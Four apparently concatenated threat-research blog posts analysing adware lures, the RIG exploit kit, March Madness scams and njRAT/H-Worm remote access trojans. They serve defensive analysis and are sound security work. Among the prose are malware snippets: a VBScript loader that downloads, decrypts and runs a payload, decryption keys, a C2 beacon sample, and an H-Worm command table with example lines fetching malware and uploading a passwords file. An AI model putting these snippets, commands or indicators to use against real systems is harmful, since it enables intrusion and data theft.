Potentially Painful Programs Promising Pirated Products

A major source of PC compromise doesn't come from targeted APT campaigns or Exploit Kits, but user's clicking things that they simply shouldn't. A common practice for adware and spyware writers is hosting large numbers of seemingly legitimate files that users might trust from an unknown source. Users know trusted download locations for common packages like Flash Player or Skype, but when searching for pirated software or media, any link that promises results becomes a trusted source. ThreatLabZ has been monitoring a large campaign of two well known adware/spyware packages, namely OutBrowse and MultiPlug.

ThreatLabZ has observed filenames purporting to be popular software applications, PC games, movies, TV series, car repair guides, etc. being used to trick users into downloading and running spyware packages. Below is a sample list of filenames from this month:

• Colin McRae Rally 2.0 Full Version - FullRip   Download Low Spec PC Games   RataMap   Download Low End PC Games.exe
• adobe acrobat 8 standard serial number generator.exe
• dell bluetooth headset bh200 driver.exe
• Wii dance revolution.exe
• Besiege Free Download Game.exe
• Tropico Reloaded   Free Download PC Game Full Version.exe
• Minecraft 1.8 Crack Full Free Download.exe
• Dragon Ball Complete Series Episode1.exe
• Home.2015.720p._-DL.MaZiKa2daY.CoM.mkv.exe
• visual studio 2012 crack torrent.exe
• LEXUS LS 460 user guide provided through pdfretriever.com.exe

Once installed, the user is shown unsolicited advertisements and experiences a substantial increase in browser tracking activity. We noticed the cyber-criminals involved in these campaigns heavily leverage .info TLD domains as seen in the table below:

Domain	Adware Family
a.webboxwebs[.]info	MultiPlug Adware
get1.0111design[.]info	Outbrowse Adware
a.positionpublic[.]info	MultiPlug Adware
a.parser-case-croc[.]info	MultiPlug Adware
get.0136g[.]info	Outbrowse Adware
a.linuxcallring-north[.]info	MultiPlug Adware
a.northsinglemultiple[.]info	MultiPlug Adware
get.0136h[.]info	Outbrowse Adware
a.valuevilleville[.]info	MultiPlug Adware
a.cooledon[.]info	MultiPlug Adware
a.beeforcelevel[.]info	MultiPlug Adware
a.stickercenter[.]info	MultiPlug Adware
get.0136i[.]info	Outbrowse Adware

OutBrowse

The OutBrowse family authors leverage popular TV shows, software applications and trending news to deliver custom payloads that monitor the user's browsing activity. Their business model is to direct users to a pay site that provide various services.

Didn't I just download Tony Hawk Pro Skater2.Crack.CDKEY.exe?

The phone home communication for OutBrowse also provides excessive information to the advertisers. This data often includes the system's MAC address, IP address, different browser versions installed, and the machine GUID.

Data Collection from the victim's system.

OutBrowse beacons to several domains to share machine details and send aggressive advertisements. We have been monitoring this activity to the following domains for several months:

• srv.dmdataserver[.]com
• static.revenyou[.]com
• srv.desk-top-app[.]info

Consistent traffic to known Outbrowse beacons

OutBrowse is normally found on the victim's machine by inspecting the user's C:\Documents And Settings\user\Local Settings\Temp\ directory for any suspicious files. It's common for OutBrowse to also install other bundled software packages as well. Users should check their autostart programs and Browser Helper Object (BHO) entries for software that is suspicious.

OutBrowse installed MiniGet as a BHO and Content Menu in Internet Explorer

MultiPlug

MutliPlug is another adware package that is installed as part of this campaign. The purpose of this package is to provide a custom executable to the victim that leads to additional bundleware. After a successful MultiPlug infection, we noticed applications like LightningDownloader, SeekerFoobar, WeatherBug, and EasyAutoRefresh getting dropped on the victim machine.

Silent Installers seen to download additional adware packages.

Once MultiPlug is installed, it starts downloading and installing additional packages in the background while displaying unsolicited advertisements.

A common location-targeted advertisement seen from a package installed by MultiPlug

Highly aggressive advertisements attempting to lead the victim to buying software.

The best way to remediate this attack is to review all installed programs through Windows Control Panel and odds are good that MultiPlug installed at least multiple unwanted software packages. Once this is done, users should review their autostart job files in the C:\WINDOWS\Tasks\ directory for anomalous entries. Installed Browser Helper Objects should also be checked using applications like HiJackThis or X-rayPC.

ThreatLabZ has been closely monitoring these campaigns for the past few months and the trend shows no sign of slowing down as seen in the time chart below:

Several sites are phishing users with the promise of illegally obtained content

The bulk of these attacks are hosted in the United States.

Conclusion

The moral of this story is to not trust seemingly legitimate content if you are attempting to obtain it illegally. Users show a distinct lapse in judgment when they believe the desired content is available for free. We recommend not attempting to pirate content and simply paying for the media desired.

RIG Exploit Kit Infection Cycle Analysis

Overview

Happy belated birthday to RIG exploit kit! First seen around April 2014, RIG has been in the news several times over the past year. In February, the source code was reportedly leaked online, which likely spurred some of the recent changes we've observed in the kit. ThreatLabZ has been keeping an eye on RIG and in this post we'll cover an example of a full RIG infection cycle.

Delivery

In the past, RIG used malvertising and compromised sites to send users to RIG landing pages and we've seen no change in this tactic. Compromised sites leading to RIG usually contain an iframe in the page header that loads a RIG proxy domain, which also contains an iframe leading to the RIG landing page. The full infection cycle is shown in the annotated Fiddler session below.

Fig 1: RIG Infection Cycle

In this example, the compromised site actually contains three different malicious iframes in its header. These iframes correspond to line items 37-39 in Fig 1.

Fig 2: iframes on Compromised Site

Out of the three RIG proxy iframes on the compromised site, only one, sunfuji[.]com, is still redirecting victims to RIG landing pages. Much like the iframe on the compromised site, the RIG proxy page contains an iframe redirecting victims to the actual landing page.

Fig 3: RIG Proxy Redirects to RIG Landing

Note that the RIG proxy is a persistent redirector, which will change the landing page location arbitrarily. Taken at a different time, the same page returned the following result:

Fig 4: RIG Proxy Changed Landing Page

Landing Page

The landing page has multiple consistent attributes, starting with the URI. Every RIG landing page URI starts with a question mark, followed by 171 characters. Two examples are below:

• four.pavementexpress[.]org/?xH6Af7ieJRvHDIs=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWBrxaIYwMU95LEQOdviwijm7VFJMonk0DRvWcDnrtMU0gbrA
• trip.slotsbid[.]com/?xniKfredKx_HCYY=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWAqBHbYw1MrcOTEOcz0Aj2yeVBd892zxWA4GMBmL5MVUgbrA

The landing page itself contains three blocks of obfuscated code along with some portions of text from a popular CNET article. The majority of the code is actually a long list of character-delimited strings that are passed to a function that basically splits them on the delimiter and runs 'fromCharCode':

Fig 5: Top of the RIG Landing Page - strings use 't' delimiter

The decode function for each of the three code blocks immediately follows the set of character-delimited strings, as shown in Fig 6.

Fig 6: Decode function for first set of character-delimited strings

The deobfuscated first block of code attempts to detect known virtual machine characteristics and other attributes that might indicate an analysis environment. If anything is found, the next two code blocks are not deobfuscated or executed.

Fig 7: Code block 1 deobfuscated - detect analysis environment

The second code block is a large base64-encoded VBScript segment:

Fig 8: Code block 2 deobfuscated - vbscript

The VBScript is executed from the following code:

 function time() {window.execScript(base64_decode(scriptvar), "VBscript");}setTimeout(time, 3001);  

Once executed, the VBScript exploits CVE-2014-6332, the so-called 'Godmode' exploit (VT detection - 4/57). AV detection tends to be particularly bad on the VBScript even though the code very closely matches the proof of concept originally publicized. There is a good writeup from TrendMicro, which delves into the details of this vulnerability. If exploitation is successful, the encrypted exe is downloaded, decrypted, and executed on the system. The encryption key for the binary is conveniently in cleartext within the VBScript:

      If objHTTP.Status = 200 Then  
           Set objFile = objFSO.CreateTextFile(strSaveTo,True)  
           objFile.Write EnDeCrypt(ByteArray2String(objHTTP.responseBody), "nkiOaWsg")  
           objFile.Close       
      End If  

The third block of code simply serves up a malicious SWF with no secondary obfuscation:

Fig 9: Code block 3 deobfuscated - malicious SWF

This code is almost the same as in other exploit kits, and the URL of the encrypted binary is being passed to the SWF as a parameter. The exploit in this case was CVE-2015-0313, which affects Flash versions prior to 16.0.0.305, and the exploit code is contained in a script called 'wow.' Detection on VirusTotal shows 10/57, and there are several public writeups on this vulnerability.

Payload #1 - Injector

The binary payload is encrypted with an 8-byte key, which you can guess from the stream or retrieve from the deobfuscated VBScript.

Fig 10: Encrypted Binary - key is 'WsgnkiOa'

VirusTotal detection is a bit better than 50% for this payload at 32/57. The binary file is a Nullsoft Installer self-extracting archive and extracting the archive reveals three files inside:

Fig 11: Extracted Files from EXE

In addition to these three files, another executable 'b8.exe' is dropped. Once the installer finishes dropping files, it loads the DLL (15/55 on VirusTotal) and begins executing functions to read in the other two files. The file '6ag1rqashtwqw1hgqa' contains data XOR'd with the first 10 bytes of the filename, and the decrypted contents reveals several API calls that give us an idea of what will happen next, for example CreateProcessA, WriteProcessMemory, and ResumeThread.

Fig 12: Decrypting file data with filename

Similarly, the 'Stevie Nicks' .m3u is unfortunately not actually a playlist, but instead an encrypted binary that is decrypted by the DLL using the XOR key "ZhmGqqKwXmJiiS7dzjzPyyaTw0PANF".

Fig 13: Decrypting 'Stevie Nicks' playlist binary

VirusTotal detection on the decrypted Stevie Nicks binary is 35/56.  Ultimately, this leads to creating a hollow process of itself (process hollowing - PDF) which then creates an explorer.exe process and injects code to beacon to the Command & Control (C&C) server. Beacons were frequent and used the URI string '/power/logout.php' to POST to the domain 'starpowerss.com'

Fig 14: C&C Traffic Sample

Other notable activity includes:

• Copying to 'C:\Program Files\Common Files\Windows Search 5.3.10\<random>.exe'
• Using the registry for persistence
• Hooking ZwOpenFile and ZwOpenProcess
• Clipboard control

Payload #2 - Blue Bot

After quite some time, a second payload is downloaded named 'cfajrs.exe' from 'a.pomf.se' which beacons to 141.138.157.240. Four URIs were observed:

• /help/proxy
• Returns a list of 4032 IP:PORT pairs (paste of IP:PORT data)
• /help/blog
• Returns a list of 798 URLs that appear to be blogs (paste of blog data)
• /help/botlogger.php
• Returns div of HTML with "visitors online" (see Fig 15)
• /help/target
• Returns 'STOP|STOP|STOP' during analysis (see Fig 16)

Fig 15: /help/botlogger.php response

Fig 16: /help/target response

VirusTotal detection is 41/56 and indicates this is part of BlueBotnet. Looking at the binary, we see it's a .NET executable and uses no obfuscation at all to make decompilation difficult. Looking at the namespace and classes confirms this is called 'Blue_Botnet' and appears to be a DoS tool.

Fig 17: Blue_Botnet Code Overview

One of the more interesting functions is the 'updateTarget' function, which expects a pipe-delimited list of IP, port, and method. There are multiple different methods accepted for the 'target' command: UDP, TCP, SYN, MCBOTALPHA, HTTP, HTTPROXY, PRESS, and STOP.

Fig 18: Blue_Botnet updateTarget Function

To perform its attacks, the bot has a list of 37 different user agent strings to make detection more difficult (paste of user agents); each request uses a different user agent from the list so requests look like they are coming from multiple different clients instead of from the same source. There is an Italian-language theme to the code, both in some of the variable names and in some of the HTTP headers, for example the Accept-Language header in the HTTP attack function shown below.

Fig 19: Blue_Botnet HTTP Attack Function

Interestingly, the response from botlogger.php is not used in the code and the request may simply be a beacon to the server to keep count of infections.

Conclusions

RIG continues to be a popular and effective exploit kit choice and has evolved over the past year, indicating active development. While other exploit kits are moving toward ransomware and adfraud for monetization of infected victims, RIG is apparently not following this trend and still pushes more traditional malware. ThreatLabZ will continue to monitor RIG for any new developments. For a look at the infrastructure supporting RIG, Trustwave has a great post on the topic.

March Madness Ads, Scams, and Malware

Introduction

March Madness is officially upon us, with the last games of the round of 64 taking place today. As is usual with events that have such a level of interest, bad actors across the internet will be trying to get their cut of the action through topical spam advertising and phishing as well as search engine poisoning to draw ad revenue and in some cases, deliver malicious software. Though it is still early in the cycle of March Madness interest, we have seen a bit of everything: malware purporting to be NCAA bracket templates, a rash of ad-filled sites running March Madness related SEO campaigns, and the usual complement of shady streaming sites promising live streams of the tournament games (with some delivering a nasty surprise).

NCAA Tournament related traffic shows a sharp uptick as the games began.

NCAA Bracket Download Leads to Malware

While reviewing some of the tournament-related security blocks, we spotted an interesting file download attempt. It's not clear if the original click was derived from a search, but the primary link purports to be a zipped PDF file that can be used to create personalized brackets. The link ultimately directs to an unwanted EXE signed by the Ukranian publisher BERSHNET LLC (whose history is well documented on HerdProtect).

The downloaded file features a valid Authenticode Certificate.

The binary features an unusual number of protections against analysis for what appears to be simple adware. At this time, we have not fully explored the capabilities of the binary, but analysis shows that the sample gathers system information and sends it to a CloudFlare-hosted command & control server.

HTTP Check-in activity includes POSTing system information.

Fake .tk Blogs Generate Ad Revenue and Expose Users

Numerous ad-filled and auto-generated blogs have been popping up to take advantage of unwary search-engine users looking for bracket templates and related web-searches. While we have not seen any overtly malicious behavior on these sites, they represent a potential threat against the unwary searcher.

Auto-generated blogs taking advantage of popular search terms.

An interesting trend among these sites is the use of the free country TLD .tk. This isn't too surprising since the use of free domains is similar to the use of a dynamic DNS service, but the .tk TLD is slightly less conspicuous compared to no-ip.com or other common alternatives.

Streaming Scams Deliver Malware

Similar to sites offering bracket templates and insights on the match-ups, a large number of sites promising the ability to stream NCAA games have popped up to capture search traffic and generate ad-revenue. Unlike the SEO blogs, we have spotted -- and blocked -- malicious downloads related to tournament streams.

Numerous scam sites are found among the top Google hits.

Fake streaming site is filled with ads and fake plug-in install prompts.

Download page for fake plug-in emulates Adobe look and feel.

Although this binary does not initially appear as sophisticated as the fake-bracket sample above, it downloads two supplemental encrypted files, one large binary blob and one base-64 encoded text file. Further analysis is needed to enumerate all functionality, but the malware can be observed collecting system information and sending it to a remote server.

Post-infection activity downloads another binary and POSTs system information.

It should be noted that the NCAA has put tight restrictions on the streaming of the tournament, and apart from the first round, streaming the games requires a pay-TV subscription.

Conclusion

All of these examples should highlight the diversity of threats that latch on to the popularity of March Madness. We would like to advise the readers to exercise caution when doing searches or clicking on links related to March Madness.

Zscaler ThreatLabZ has deployed multiple layers of protection against these scams, safeguarding the users even when they are tricked into clicking a nefarious link.

njRAT & H-Worm variant infections continue to rise

Introduction

njRAT Trojan also known as Bladabindi, is a Remote Access Tool (RAT) that was first seen in 2013 and has been extremely prevalent in the Middle Eastern region. njRAT was developed using Microsoft's .NET framework and like many other RATs, provides complete control of the infected system and delivers an array of features to the remote attacker. We have seen attackers leveraging popular gaming & software application cracks & keygens as the lure to infect end users.

There have been many variants of njRAT. H-Worm, also known as Houdini, is one of the most popular variants and was reportedly used in attacks against the international energy sector. In this blog we will provide a brief overview of njRAT and H-Worm as well as an analysis of the H-Worm activity we've seen over the past few months.

njRAT

The njRAT Trojan remains one of the most successful RATs in the wild because of the wide spread online support and tutorials available for cyber criminals. There are a variety of .NET obfuscation tools that make detection difficult for antivirus solutions and hinders analysis by security researchers. njRAT utilizes dynamic DNS for command and control (C2) servers and communicates using a custom TCP protocol over a configurable port.

The C&C callback from the infected system includes following information:

• Bot identifier (based off configurable string in builder & volume serial number)
• Computer name (Base 64 encoded)
• Operating system information
• Existence of attached webcam (Yes/No)
• Bot version
• Country code
• Title of the active process window

Below is a sample C&C message:

253 ll|'|'|TW9pXzUwRkFBNTQw|'|'|247525|'|'|Win7 64Bit|'|'|79-11-30|'|'||'|'|Win7 Enterprise SP1 x64|'|'|No|'|'|0.7d|'|'|..|'|'|QWRtaW5pc3RyYXRvcjogQzpcV2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlIC0gYzpcUHl0aG9uMjdccHl0aG9uLmV4ZSAgc2ltcGxlX3NvY2tldF9zZXJ2ZXIucHkA|'|'|

Decoded Base64 string #1 (botID_volume-serial-number): Moi_50FAA540
Decoded Base64 string #2 (currently focused window): Administrator: C:\Windows\system32\cmd.exe - 

njRAT allows the remote attacker to perform following activities on the infected system:

• File system changes
• Log keystrokes
• Download and execute a remote file
• Remote desktop
• Webcam access
• Microphone access
• Obtain user credentials for multiple applications
• Reverse command shell

The latest instances of njRAT infections we have seen are for version 0.7d. Below are some screenshots of the njRAT's control panel accessible to the attacker:

njRAT C&C control panel

njRAT builder panel

njRAT author information

H-Worm

H-Worm is a VBS (Visual Basic Script) based RAT which we believe is derived off the njRAT source code. H-Worm provides cyber-criminals similar controls to njRAT. It also uses dynamic DNS for its C&C servers but unlike njRAT it uses POST requests and the HTTP User-Agent field to exfiltrate sensitive information from the infected machine.

The C&C communication POST requests typically uses parameters 'cmd' and 'param' as seen in the table below:

H-Worm Bot Command Summary

Bot Command	Description	Example	Connection URI
execute	Execute vb code sent in response	execute<|>vbscript code	None
update	Update bot code to provided code (overwrites existing file)	update<|>new vbscript bot code	None
uninstall	Removes the bot from the victim machine	uninstall	None
send	Downloads content from a URL and dumps at a directory	send<|>http://www.example.com/malware.exe<|>c:\	None
site-send	Downloads content from a URL and saves with specified nam	site-send<|>http://www.example.com/script.vbs<|>c:\script.vbs	None
recv	Uploads a file to the C2 domain	recv<|>C:\Users\User\Documents\passwords.txt	POST /is-recving
enum-driver	Sends information on the victim's system drives	enum-driver	POST /is-enum-driver
enum-faf	Sends a directory listing for a given path	enum-faf<|>C:\Users\User\	POST /is-enum-path
enum-process	Sends the process listing of the victim's system	enum-process	POST /is-enum-process
cmd-shell	Run a command via '%comspec% /c' on the infected host	cmd-shell<|>calc.exe	POST /is-cmd-shell
delete	Deletes a specified file or folder from the victim's system	delete<|>C:\Users\User\Documents\	None
exit-process	Kills the specified process ID via taskkill	exit-process<|>123	None
sleep	Sets the number of milliseconds to sleep between 'ready' beacons (default 5000)	sleep<|>10000	None

The C&C callback from an infected system includes following information in the User-Agent field:

• Bot identifier (based off configurable string in builder & volume serial number)
• Computer name
• Username
• Operating system information
• Bot version
• Antivirus information (Default value 'nan-av')
• USB spreading [true/false] with date obtained from bot's registry entry.

Below are some screenshots of H-Worm's control panel accessible to the attacker, from two different variants:

H-Worm plus version C&C control panel

H-Worm control center [similar to njRAT's Manager]

H-Worm plus version builder panel

H-Worm extended/lite version C&C control panel

We continue to see many new variants of H-Worm popping up in the wild. Below are the version strings from some of the active H-Worm variants we have been tracking in 2015:

• 2.0
• 3az version
• hello
• KKMM NICE PC
• mod version
• plus
• POUSSIN
• safa7_22
• SKY ESP PC
• spupdate
• the KR.joker worm
• underworld final
• v1.8.3  By AB DELL
• v1.8.7  By AB DELL
• worm Of Dz-47
• WORM OF DZ-47

Below is the Geo distribution of the active Command & Control servers we have oberved thus far in 2015:

One of the most popular features of this RAT family is the usage of Dynamic DNS for its Command & Control server communication. We have seen multiple sub-domains from the following Dynamic DNS domains in 2015 being abused by the malware authors for C&C communication:

• adultdns.net
• cable-modem.org
• dz47.cf
• ddns.net
• dnsd.info
• dvr-ddns.com
• dyndns.org
• dynu.net
• ftp21.net
• mooo.com
• myq-see.com
• no-ip.biz
• noip.me
• no-ip.org
• redirectme.net
• sells-it.net
• servecounterstrike.com
• serveftp.com
• servehttp.com
• servequake.com
• sytes.net
• user32.com
• zapto.org

Conclusion

njRAT & H-Worm variant infections continue to rise, and while this threat is reportedly more prevalent in the Middle-East region, we continue to see infections in other parts of the world as well. Despite Microsoft's attempts to disrupt the C&C channel for this notorious RAT back in June 2014, we continue to see the usage of various dynamic DNS services by the malware authors for it's C&C server communication. It remains one of the most popular and prevalent RATs in the wild today.

Zscaler ThreatLabZ has deployed multiple layers of protection against this threat to ensure that the customers are protected.

Past reports on this threat
http://www.fidelissecurity.com/sites/default/files/FTA_1009-njRAT_Uncovered_rev2.pdf
http://www.fidelissecurity.com/sites/default/files/FTA%201010%20-%20njRAT%20The%20Saga%20Continues.pdf
http://phishme.com/the-return-of-njrat/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/
http://www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middle-east-cybercrime-scene
https://blogs.mcafee.com/mcafee-labs/trail-njrat
https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Analysis by Deepen Desai & John Mancuso